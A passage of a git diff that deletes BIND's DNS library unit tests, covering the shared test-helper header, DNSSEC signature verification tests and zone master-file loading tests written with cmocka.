-	for (i = 0; changes[i].owner != NULL; i++) {
-		/*
-		 * Parse owner name.
-		 */
-		name = dns_fixedname_initname(&fixedname);
-		result = dns_name_fromstring(name, changes[i].owner, 0,
-					     dt_mctx);
-		if (result != ISC_R_SUCCESS) {
-			break;
-		}
-
-		/*
-		 * Parse RDATA type.
-		 */
-		region.base = changes[i].type;
-		region.length = strlen(changes[i].type);
-		result = dns_rdatatype_fromtext(&rdatatype,
-						(isc_textregion_t *)&region);
-		if (result != ISC_R_SUCCESS) {
-			break;
-		}
-
-		/*
-		 * Parse RDATA.
-		 */
-		dns_rdata_init(&rdata);
-		result = dns_test_rdatafromstring(
-			&rdata, dns_rdataclass_in, rdatatype, rdata_buf,
-			sizeof(rdata_buf), changes[i].rdata, warnings);
-		if (result != ISC_R_SUCCESS) {
-			break;
-		}
-
-		/*
-		 * Create a diff tuple for the parsed change and append it to
-		 * the diff.
-		 */
-		result = dns_difftuple_create(dt_mctx, changes[i].op, name,
-					      changes[i].ttl, &rdata, &tuple);
-		if (result != ISC_R_SUCCESS) {
-			break;
-		}
-		dns_diff_append(diff, &tuple);
-	}
-
-	if (result != ISC_R_SUCCESS) {
-		dns_diff_clear(diff);
-	}
-
-	return (result);
-}
-#endif /* HAVE_CMOCKA */
diff --git a/lib/dns/tests/dnstest.h b/lib/dns/tests/dnstest.h
deleted file mode 100644
index 53c7c6529f..0000000000
--- a/lib/dns/tests/dnstest.h
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-#include <stdbool.h>
-
-#include <isc/buffer.h>
-#include <isc/hash.h>
-#include <isc/log.h>
-#include <isc/mem.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/diff.h>
-#include <dns/result.h>
-#include <dns/zone.h>
-
-typedef struct {
-	dns_diffop_t op;
-	const char *owner;
-	dns_ttl_t ttl;
-	const char *type;
-	const char *rdata;
-} zonechange_t;
-
-#define ZONECHANGE_SENTINEL            \
-	{                              \
-		0, NULL, 0, NULL, NULL \
-	}
-
-extern isc_mem_t *dt_mctx;
-extern isc_log_t *lctx;
-extern isc_taskmgr_t *taskmgr;
-extern isc_task_t *maintask;
-extern isc_timermgr_t *timermgr;
-extern isc_socketmgr_t *socketmgr;
-extern dns_zonemgr_t *zonemgr;
-extern bool app_running;
-extern int ncpus;
-extern bool debug_mem_record;
-
-isc_result_t
-dns_test_begin(FILE *logfile, bool create_managers);
-
-void
-dns_test_end(void);
-
-isc_result_t
-dns_test_makeview(const char *name, dns_view_t **viewp);
-
-/*%
- * Create a zone with origin 'name', return a pointer to the zone object in
- * 'zonep'.
- *
- * If 'view' is set, the returned zone will be assigned to the passed view.
- * 'createview' must be set to false when 'view' is non-NULL.
- *
- * If 'view' is not set and 'createview' is true, a new view is also created
- * and the returned zone is assigned to it.  This imposes two requirements on
- * the caller: 1) the returned zone has to be subsequently assigned to a zone
- * manager, otherwise its cleanup will fail, 2) the created view has to be
- * cleaned up by the caller.
- *
- * If 'view' is not set and 'createview' is false, the returned zone will not
- * be assigned to any view.
- */
-isc_result_t
-dns_test_makezone(const char *name, dns_zone_t **zonep, dns_view_t *view,
-		  bool createview);
-
-isc_result_t
-dns_test_setupzonemgr(void);
-
-isc_result_t
-dns_test_managezone(dns_zone_t *zone);
-
-void
-dns_test_releasezone(dns_zone_t *zone);
-
-void
-dns_test_closezonemgr(void);
-
-void
-dns_test_nap(uint32_t usec);
-
-isc_result_t
-dns_test_loaddb(dns_db_t **db, dns_dbtype_t dbtype, const char *origin,
-		const char *testfile);
-
-isc_result_t
-dns_test_getdata(const char *file, unsigned char *buf, size_t bufsiz,
-		 size_t *sizep);
-
-char *
-dns_test_tohex(const unsigned char *data, size_t len, char *buf, size_t buflen);
-
-/*%
- * Try parsing text form RDATA in "src" (of class "rdclass" and type "rdtype")
- * into a structure representing that RDATA at "rdata", storing the
- * uncompressed wire form of that RDATA at "dst", which is "dstlen" bytes long.
- * Set 'warnings' to true to print logged warnings from dns_rdata_fromtext().
- */
-isc_result_t
-dns_test_rdatafromstring(dns_rdata_t *rdata, dns_rdataclass_t rdclass,
-			 dns_rdatatype_t rdtype, unsigned char *dst,
-			 size_t dstlen, const char *src, bool warnings);
-
-void
-dns_test_namefromstring(const char *namestr, dns_fixedname_t *fname);
-
-/*%
- * Given a pointer to an uninitialized dns_diff_t structure in 'diff', make it
- * contain diff tuples representing zone database changes listed in 'changes'.
- * Set 'warnings' to true to print logged warnings from dns_rdata_fromtext().
- */
-isc_result_t
-dns_test_difffromchanges(dns_diff_t *diff, const zonechange_t *changes,
-			 bool warnings);
diff --git a/lib/dns/tests/dst_test.c b/lib/dns/tests/dst_test.c
deleted file mode 100644
index 288ac5b7b7..0000000000
--- a/lib/dns/tests/dst_test.c
+++ /dev/null
@@ -1,308 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/file.h>
-#include <isc/hex.h>
-#include <isc/stdio.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dst/dst.h>
-#include <dst/result.h>
-
-#include "../dst_internal.h"
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-/* Read sig in file at path to buf. Check signature ineffability */
-static isc_result_t
-sig_fromfile(const char *path, isc_buffer_t *buf) {
-	isc_result_t result;
-	size_t rval, len;
-	FILE *fp = NULL;
-	unsigned char val;
-	char *p, *data;
-	off_t size;
-
-	result = isc_stdio_open(path, "rb", &fp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_file_getsizefd(fileno(fp), &size);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	data = isc_mem_get(dt_mctx, (size + 1));
-	assert_non_null(data);
-
-	len = (size_t)size;
-	p = data;
-	while (len != 0U) {
-		result = isc_stdio_read(p, 1, len, fp, &rval);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		len -= rval;
-		p += rval;
-	}
-	isc_stdio_close(fp);
-
-	p = data;
-	len = size;
-	while (len > 0U) {
-		if ((*p == '\r') || (*p == '\n')) {
-			++p;
-			--len;
-			continue;
-		} else if (len < 2U) {
-			goto err;
-		}
-		if (('0' <= *p) && (*p <= '9')) {
-			val = *p - '0';
-		} else if (('A' <= *p) && (*p <= 'F')) {
-			val = *p - 'A' + 10;
-		} else {
-			result = ISC_R_BADHEX;
-			goto err;
-		}
-		++p;
-		val <<= 4;
-		--len;
-		if (('0' <= *p) && (*p <= '9')) {
-			val |= (*p - '0');
-		} else if (('A' <= *p) && (*p <= 'F')) {
-			val |= (*p - 'A' + 10);
-		} else {
-			result = ISC_R_BADHEX;
-			goto err;
-		}
-		++p;
-		--len;
-		isc_buffer_putuint8(buf, val);
-	}
-
-	result = ISC_R_SUCCESS;
-
-err:
-	isc_mem_put(dt_mctx, data, size + 1);
-	return (result);
-}
-
-static void
-check_sig(const char *datapath, const char *sigpath, const char *keyname,
-	  dns_keytag_t id, dns_secalg_t alg, int type, bool expect) {
-	isc_result_t result;
-	size_t rval, len;
-	FILE *fp;
-	dst_key_t *key = NULL;
-	unsigned char sig[512];
-	unsigned char *p;
-	unsigned char *data;
-	off_t size;
-	isc_buffer_t b;
-	isc_buffer_t databuf, sigbuf;
-	isc_region_t datareg, sigreg;
-	dns_fixedname_t fname;
-	dns_name_t *name;
-	dst_context_t *ctx = NULL;
-
-	/*
-	 * Read data from file in a form usable by dst_verify.
-	 */
-	result = isc_stdio_open(datapath, "rb", &fp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_file_getsizefd(fileno(fp), &size);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	data = isc_mem_get(dt_mctx, (size + 1));
-	assert_non_null(data);
-
-	p = data;
-	len = (size_t)size;
-	do {
-		result = isc_stdio_read(p, 1, len, fp, &rval);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		len -= rval;
-		p += rval;
-	} while (len);
-	isc_stdio_close(fp);
-
-	/*
-	 * Read key from file in a form usable by dst_verify.
-	 */
-	name = dns_fixedname_initname(&fname);
-	isc_buffer_constinit(&b, keyname, strlen(keyname));
-	isc_buffer_add(&b, strlen(keyname));
-	result = dns_name_fromtext(name, &b, dns_rootname, 0, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = dst_key_fromfile(name, id, alg, type, "testdata/dst", dt_mctx,
-				  &key);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_buffer_init(&databuf, data, (unsigned int)size);
-	isc_buffer_add(&databuf, (unsigned int)size);
-	isc_buffer_usedregion(&databuf, &datareg);
-
-	memset(sig, 0, sizeof(sig));
-	isc_buffer_init(&sigbuf, sig, sizeof(sig));
-
-	/*
-	 * Read precomputed signature from file in a form usable by dst_verify.
-	 */
-	result = sig_fromfile(sigpath, &sigbuf);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Verify that the key signed the data.
-	 */
-	isc_buffer_remainingregion(&sigbuf, &sigreg);
-
-	result = dst_context_create(key, dt_mctx, DNS_LOGCATEGORY_GENERAL,
-				    false, 0, &ctx);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dst_context_adddata(ctx, &datareg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = dst_context_verify(ctx, &sigreg);
-
-	/*
-	 * Compute the expected signature and emit it
-	 * so the precomputed signature can be updated.
-	 * This should only be done if the covered data
-	 * is updated.
-	 */
-	if (expect && result != ISC_R_SUCCESS) {
-		isc_result_t result2;
-
-		dst_context_destroy(&ctx);
-		result2 = dst_context_create(
-			key, dt_mctx, DNS_LOGCATEGORY_GENERAL, false, 0, &ctx);
-		assert_int_equal(result2, ISC_R_SUCCESS);
-
-		result2 = dst_context_adddata(ctx, &datareg);
-		assert_int_equal(result2, ISC_R_SUCCESS);
-
-		char sigbuf2[4096];
-		isc_buffer_t sigb;
-		isc_buffer_init(&sigb, sigbuf2, sizeof(sigbuf2));
-
-		result2 = dst_context_sign(ctx, &sigb);
-		assert_int_equal(result2, ISC_R_SUCCESS);
-
-		isc_region_t r;
-		isc_buffer_usedregion(&sigb, &r);
-
-		char hexbuf[4096] = { 0 };
-		isc_buffer_t hb;
-		isc_buffer_init(&hb, hexbuf, sizeof(hexbuf));
-
-		isc_hex_totext(&r, 0, "", &hb);
-
-		fprintf(stderr, "# %s:\n# %s\n", sigpath, hexbuf);
-	}
-
-	isc_mem_put(dt_mctx, data, size + 1);
-	dst_context_destroy(&ctx);
-	dst_key_free(&key);
-
-	assert_true((expect && (result == ISC_R_SUCCESS)) ||
-		    (!expect && (result != ISC_R_SUCCESS)));
-
-	return;
-}
-
-static void
-sig_test(void **state) {
-	UNUSED(state);
-
-	struct {
-		const char *datapath;
-		const char *sigpath;
-		const char *keyname;
-		dns_keytag_t keyid;
-		dns_secalg_t alg;
-		bool expect;
-	} testcases[] = {
-		{ "testdata/dst/test1.data", "testdata/dst/test1.ecdsa256sig",
-		  "test.", 49130, DST_ALG_ECDSA256, true },
-		{ "testdata/dst/test1.data", "testdata/dst/test1.rsasha256sig",
-		  "test.", 11349, DST_ALG_RSASHA256, true },
-		{ /* wrong sig */
-		  "testdata/dst/test1.data", "testdata/dst/test1.ecdsa256sig",
-		  "test.", 11349, DST_ALG_RSASHA256, false },
-		{ /* wrong data */
-		  "testdata/dst/test2.data", "testdata/dst/test1.ecdsa256sig",
-		  "test.", 49130, DST_ALG_ECDSA256, false },
-	};
-	unsigned int i;
-
-	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
-		if (!dst_algorithm_supported(testcases[i].alg)) {
-			continue;
-		}
-
-		check_sig(testcases[i].datapath, testcases[i].sigpath,
-			  testcases[i].keyname, testcases[i].keyid,
-			  testcases[i].alg, DST_TYPE_PRIVATE | DST_TYPE_PUBLIC,
-			  testcases[i].expect);
-	}
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(sig_test, _setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/master_test.c b/lib/dns/tests/master_test.c
deleted file mode 100644
index a4389f296c..0000000000
--- a/lib/dns/tests/master_test.c
+++ /dev/null
@@ -1,650 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/dir.h>
-#include <isc/print.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dns/cache.h>
-#include <dns/callbacks.h>
-#include <dns/db.h>
-#include <dns/master.h>
-#include <dns/masterdump.h>
-#include <dns/name.h>
-#include <dns/rdata.h>
-#include <dns/rdatalist.h>
-#include <dns/rdataset.h>
-
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-static void
-nullmsg(dns_rdatacallbacks_t *cb, const char *fmt, ...) {
-	UNUSED(cb);
-	UNUSED(fmt);
-}
-
-#define BUFLEN	    255
-#define BIGBUFLEN   (70 * 1024)
-#define TEST_ORIGIN "test"
-
-static dns_masterrawheader_t header;
-static bool headerset;
-
-dns_name_t dns_origin;
-char origin[sizeof(TEST_ORIGIN)];
-unsigned char name_buf[BUFLEN];
-dns_rdatacallbacks_t callbacks;
-char *include_file = NULL;
-
-static void
-rawdata_callback(dns_zone_t *zone, dns_masterrawheader_t *header);
-
-static isc_result_t
-add_callback(void *arg, const dns_name_t *owner, dns_rdataset_t *dataset) {
-	char buf[BIGBUFLEN];
-	isc_buffer_t target;
-	isc_result_t result;
-
-	UNUSED(arg);
-
-	isc_buffer_init(&target, buf, BIGBUFLEN);
-	result = dns_rdataset_totext(dataset, owner, false, false, &target);
-	return (result);
-}
-
-static void
-rawdata_callback(dns_zone_t *zone, dns_masterrawheader_t *h) {
-	UNUSED(zone);
-	header = *h;
-	headerset = true;
-}
-
-static isc_result_t
-setup_master(void (*warn)(struct dns_rdatacallbacks *, const char *, ...),
-	     void (*error)(struct dns_rdatacallbacks *, const char *, ...)) {
-	isc_result_t result;
-	int len;
-	isc_buffer_t source;
-	isc_buffer_t target;
-
-	strlcpy(origin, TEST_ORIGIN, sizeof(origin));
-	len = strlen(origin);
-	isc_buffer_init(&source, origin, len);
-	isc_buffer_add(&source, len);
-	isc_buffer_setactive(&source, len);
-	isc_buffer_init(&target, name_buf, BUFLEN);
-	dns_name_init(&dns_origin, NULL);
-	dns_master_initrawheader(&header);
-
-	result = dns_name_fromtext(&dns_origin, &source, dns_rootname, 0,
-				   &target);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	dns_rdatacallbacks_init_stdio(&callbacks);
-	callbacks.add = add_callback;
-	callbacks.rawdata = rawdata_callback;
-	callbacks.zone = NULL;
-	if (warn != NULL) {
-		callbacks.warn = warn;
-	}
-	if (error != NULL) {
-		callbacks.error = error;
-	}
-	headerset = false;
-	return (result);
-}
-
-static isc_result_t
-test_master(const char *workdir, const char *testfile,
-	    dns_masterformat_t format,
-	    void (*warn)(struct dns_rdatacallbacks *, const char *, ...),
-	    void (*error)(struct dns_rdatacallbacks *, const char *, ...)) {
-	isc_result_t result;
-
-	result = setup_master(warn, error);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	dns_rdatacallbacks_init_stdio(&callbacks);
-	callbacks.add = add_callback;
-	callbacks.rawdata = rawdata_callback;
-	callbacks.zone = NULL;
-	if (warn != NULL) {
-		callbacks.warn = warn;
-	}
-	if (error != NULL) {
-		callbacks.error = error;
-	}
-
-	if (workdir != NULL) {
-		result = isc_dir_chdir(workdir);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	}
-
-	result = dns_master_loadfile(testfile, &dns_origin, &dns_origin,
-				     dns_rdataclass_in, true, 0, &callbacks,
-				     NULL, NULL, dt_mctx, format, 0);
-
-	return (result);
-}
-
-static void
-include_callback(const char *filename, void *arg) {
-	char **argp = (char **)arg;
-	*argp = isc_mem_strdup(dt_mctx, filename);
-}
-
-/*
- * Successful load test:
- * dns_master_loadfile() loads a valid master file and returns success
- */
-static void
-load_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master1.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-}
-
-/*
- * Unexpected end of file test:
- * dns_master_loadfile() returns DNS_R_UNEXPECTED when file ends too soon
- */
-static void
-unexpected_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master2.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_UNEXPECTEDEND);
-}
-
-/*
- * No owner test:
- * dns_master_loadfile() accepts broken zones with no TTL for first record
- * if it is an SOA
- */
-static void
-noowner_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master3.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, DNS_R_NOOWNER);
-}
-
-/*
- * No TTL test:
- * dns_master_loadfile() returns DNS_R_NOOWNER when no owner name is
- * specified
- */
-static void
-nottl_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master4.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-}
-
-/*
- * Bad class test:
- * dns_master_loadfile() returns DNS_R_BADCLASS when record class doesn't
- * match zone class
- */
-static void
-badclass_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master5.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, DNS_R_BADCLASS);
-}
-
-/*
- * Too big rdata test:
- * dns_master_loadfile() returns ISC_R_NOSPACE when record is too big
- */
-static void
-toobig_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master15.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_NOSPACE);
-}
-
-/*
- * Maximum rdata test:
- * dns_master_loadfile() returns ISC_R_SUCCESS when record is maximum size
- */
-static void
-maxrdata_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master16.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-}
-
-/*
- * DNSKEY test:
- * dns_master_loadfile() understands DNSKEY with key material
- */
-static void
-dnskey_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master6.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-}
-
-/*
- * DNSKEY with no key material test:
- * dns_master_loadfile() understands DNSKEY with no key material
- *
- * RFC 4034 removed the ability to signal NOKEY, so empty key material should
- * be rejected.
- */
-static void
-dnsnokey_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master7.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_UNEXPECTEDEND);
-}
-
-/*
- * Include test:
- * dns_master_loadfile() understands $INCLUDE
- */
-static void
-include_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master8.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, DNS_R_SEENINCLUDE);
-}
-
-/*
- * Include file list test:
- * dns_master_loadfile4() returns names of included file
- */
-static void
-master_includelist_test(void **state) {
-	isc_result_t result;
-	char *filename = NULL;
-
-	UNUSED(state);
-
-	result = setup_master(nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_dir_chdir(SRCDIR);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_master_loadfile(
-		"testdata/master/master8.data", &dns_origin, &dns_origin,
-		dns_rdataclass_in, 0, true, &callbacks, include_callback,
-		&filename, dt_mctx, dns_masterformat_text, 0);
-	assert_int_equal(result, DNS_R_SEENINCLUDE);
-	assert_non_null(filename);
-	if (filename != NULL) {
-		assert_string_equal(filename, "testdata/master/master6.data");
-		isc_mem_free(dt_mctx, filename);
-	}
-}
-
-/*
- * Include failure test:
- * dns_master_loadfile() understands $INCLUDE failures
- */
-static void
-includefail_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master9.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, DNS_R_BADCLASS);
-}
-
-/*
- * Non-empty blank lines test:
- * dns_master_loadfile() handles non-empty blank lines
- */
-static void
-blanklines_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master10.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-}
-
-/*
- * SOA leading zeroes test:
- * dns_master_loadfile() allows leading zeroes in SOA
- */
-
-static void
-leadingzero_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = test_master(SRCDIR, "testdata/master/master11.data",
-			     dns_masterformat_text, nullmsg, nullmsg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-}
-
-/* masterfile totext tests */
-static void
-totext_test(void **state) {
-	isc_result_t result;
-	dns_rdataset_t rdataset;
-	dns_rdatalist_t rdatalist;
-	isc_buffer_t target;
-	unsigned char buf[BIGBUFLEN];
-
-	UNUSED(state);
-
-	/* First, test with an empty rdataset */
-	dns_rdatalist_init(&rdatalist);
-	rdatalist.rdclass = dns_rdataclass_in;
-	rdatalist.type = dns_rdatatype_none;
-	rdatalist.covers = dns_rdatatype_none;
-
-	dns_rdataset_init(&rdataset);
-	result = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_buffer_init(&target, buf, BIGBUFLEN);
-	result = dns_master_rdatasettotext(dns_rootname, &rdataset,
-					   &dns_master_style_debug, NULL,
-					   &target);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_buffer_usedlength(&target), 0);
-
-	/*
-	 * XXX: We will also need to add tests for dumping various
-	 * rdata types, classes, etc, and comparing the results against
-	 * known-good output.
-	 */
-}
-
-/*
- * Raw load test:
- * dns_master_loadfile() loads a valid raw file and returns success
- */
-static void
-loadraw_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	/* Raw format version 0 */
-	result = test_master(BUILDDIR, "testdata/master/master12.data",
-			     dns_masterformat_raw, nullmsg, nullmsg);
-	assert_string_equal(isc_result_totext(result), "success");
-	assert_true(headerset);
-	assert_int_equal(header.flags, 0);
-
-	/* Raw format version 1, no source serial  */
-	result = test_master(BUILDDIR, "testdata/master/master13.data",
-			     dns_masterformat_raw, nullmsg, nullmsg);
-	assert_string_equal(isc_result_totext(result), "success");
-	assert_true(headerset);
-	assert_int_equal(header.flags, 0);
-
-	/* Raw format version 1, source serial == 2011120101 */
-	result = test_master(BUILDDIR, "testdata/master/master14.data",
-			     dns_masterformat_raw, nullmsg, nullmsg);
-	assert_string_equal(isc_result_totext(result), "success");
-	assert_true(headerset);
-	assert_true((header.flags & DNS_MASTERRAW_SOURCESERIALSET) != 0);
-	assert_int_equal(header.sourceserial, 2011120101);
-}
-
-/*
- * Raw dump test:
- * dns_master_dump*() functions dump valid raw files
- */
-static void
-dumpraw_test(void **state) {
-	isc_result_t result;
-	dns_db_t *db = NULL;
-	dns_dbversion_t *version = NULL;
-	char myorigin[sizeof(TEST_ORIGIN)];
-	dns_name_t dnsorigin;
-	isc_buffer_t source, target;
-	unsigned char namebuf[BUFLEN];
-	int len;
-
-	UNUSED(state);
-
-	strlcpy(myorigin, TEST_ORIGIN, sizeof(myorigin));
-	len = strlen(myorigin);
-	isc_buffer_init(&source, myorigin, len);
-	isc_buffer_add(&source, len);
-	isc_buffer_setactive(&source, len);
-	isc_buffer_init(&target, namebuf, BUFLEN);
-	dns_name_init(&dnsorigin, NULL);
-	result = dns_name_fromtext(&dnsorigin, &source, dns_rootname, 0,
-				   &target);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_db_create(dt_mctx, "rbt", &dnsorigin, dns_dbtype_zone,
-			       dns_rdataclass_in, 0, NULL, &db);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_dir_chdir(SRCDIR);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_db_load(db, "testdata/master/master1.data",
-			     dns_masterformat_text, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_dir_chdir(BUILDDIR);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	dns_db_currentversion(db, &version);
-
-	result = dns_master_dump(dt_mctx, db, version,
-				 &dns_master_style_default, "test.dump",
-				 dns_masterformat_raw, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = test_master(NULL, "test.dump", dns_masterformat_raw, nullmsg,
-			     nullmsg);
-	assert_string_equal(isc_result_totext(result), "success");
-	assert_true(headerset);
-	assert_int_equal(header.flags, 0);
-
-	dns_master_initrawheader(&header);
-	header.sourceserial = 12345;
-	header.flags |= DNS_MASTERRAW_SOURCESERIALSET;
-
-	unlink("test.dump");
-	result = dns_master_dump(dt_mctx, db, version,
-				 &dns_master_style_default, "test.dump",
-				 dns_masterformat_raw, &header);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = test_master(NULL, "test.dump", dns_masterformat_raw, nullmsg,
-			     nullmsg);
-	assert_string_equal(isc_result_totext(result), "success");
-	assert_true(headerset);
-	assert_true((header.flags & DNS_MASTERRAW_SOURCESERIALSET) != 0);
-	assert_int_equal(header.sourceserial, 12345);
-
-	unlink("test.dump");
-	dns_db_closeversion(db, &version, false);
-	dns_db_detach(&db);
-}
-
-static const char *warn_expect_value;
-static bool warn_expect_result;
-
-static void
-warn_expect(struct dns_rdatacallbacks *mycallbacks, const char *fmt, ...) {
-	char buf[4096];
-	va_list ap;
-
-	UNUSED(mycallbacks);
-
-	warn_expect_result = false;
-
-	va_start(ap, fmt);
-	vsnprintf(buf, sizeof(buf), fmt, ap);
-	va_end(ap);
-
-	if (warn_expect_value != NULL && strstr(buf, warn_expect_value) != NULL)
-	{
-		warn_expect_result = true;
-	}
-}
-
-/*
- * Origin change test:
- * dns_master_loadfile() rejects zones with inherited name following $ORIGIN
- */
-static void
-neworigin_test(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	warn_expect_value = "record with inherited owner";
-	result = test_master(SRCDIR, "testdata/master/master17.data",
-			     dns_masterformat_text, warn_expect, nullmsg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(warn_expect_result);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(load_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(unexpected_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(noowner_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(nottl_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(badclass_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(dnskey_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(dnsnokey_test, _setup,
-						_teardown),
